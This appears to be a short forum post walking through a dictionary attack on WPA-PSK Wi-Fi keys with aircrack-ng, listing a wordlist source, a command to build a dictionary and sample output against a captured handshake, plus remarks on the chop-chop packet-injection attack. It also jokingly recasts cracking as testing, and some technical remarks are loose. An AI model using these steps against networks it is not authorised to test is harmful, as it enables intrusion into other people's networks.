Remember its not "cracking" its testing wep. :)

WPA psk (typically wrongly known as tkip) is somewhat crackable with dictionary / brute force. Like any brute force, if there using a English word, it will only take minutes. Otherwise... You need to generate a rainbow table, etc, etc...

WPA AES is completely untouchable at this point...

Basically same idea, authenticate with base station / access point:

Then

download a word list
http://ftp.se.kde.org/pub/security/tools/net/Openwall/wordlists/

generate word list
# zcat all.gz | egrep -v '^#' > dictionary

Start aircrack
# aircrack-ng -w dictonary -0 wpaout.cap

Opening wpaout.cap
Read 15683 packets.

# BSSID ESSID Encryption

1 00:A1:B0:30:5C:84 HOGE WPA (1 handshake)

Index number of target network ? 1

Also chop, chop attack... which is fairly useless... more of a proof of concept.

First needs to be PSK / TKIP, QOS needs to be on, then you can run chop chop...

All you can do is inject arp packets, syns, dns, other small stuff...
